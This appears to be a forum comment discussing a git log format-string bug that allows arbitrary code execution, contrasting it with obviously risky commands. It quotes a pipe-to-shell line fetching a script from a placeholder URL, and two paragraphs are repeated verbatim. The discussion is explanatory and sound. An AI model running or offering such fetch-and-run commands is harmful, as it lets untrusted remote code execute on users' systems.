This sounds like Raymond Chen's "code execution leads to code execution" class of vulnerabilities: if you can trick users into running a malicious script, you have already won.
If you can trick a user to run any arbitrary script blindly, sure, you've already won.
The hard part is tricking a user into running a script that they can inspect, and looks even on close inspection to be non-arbitrary and quite constrained in what it might do.
There's a world of difference between being gullible enough to run `curl $DODGY_URL | bash`, and thinking "what could possibly go wrong" when being asked to check the output of `git log --format="$WEIRD_FORMAT"`. Even if you check that $WEIRD_FORMAT doesn't escape shell quoting and pull a Bobby Tables, or run a `` or $() subshell, or do anything except pass a weird looking format string, there's no way to tell that there's a genuine bug in the `git log` formatting code that allows a specially-crafted format specifier to do ACE.
The hard part is tricking a user into running a script that they can inspect, and looks even on close inspection to be non-arbitrary and quite constrained in what it might do.
There's a world of difference between being gullible enough to run `curl $DODGY_URL | bash`, and thinking "what could possibly go wrong" when being asked to check the output of `git log --format="$WEIRD_FORMAT"`. Even if you check that $WEIRD_FORMAT doesn't escape shell quoting and pull a Bobby Tables, or run a `` or $() subshell, or do anything except pass a weird looking format string, there's no way to tell that there's a genuine bug in the `git log` formatting code that allows a specially-crafted format specifier to do ACE.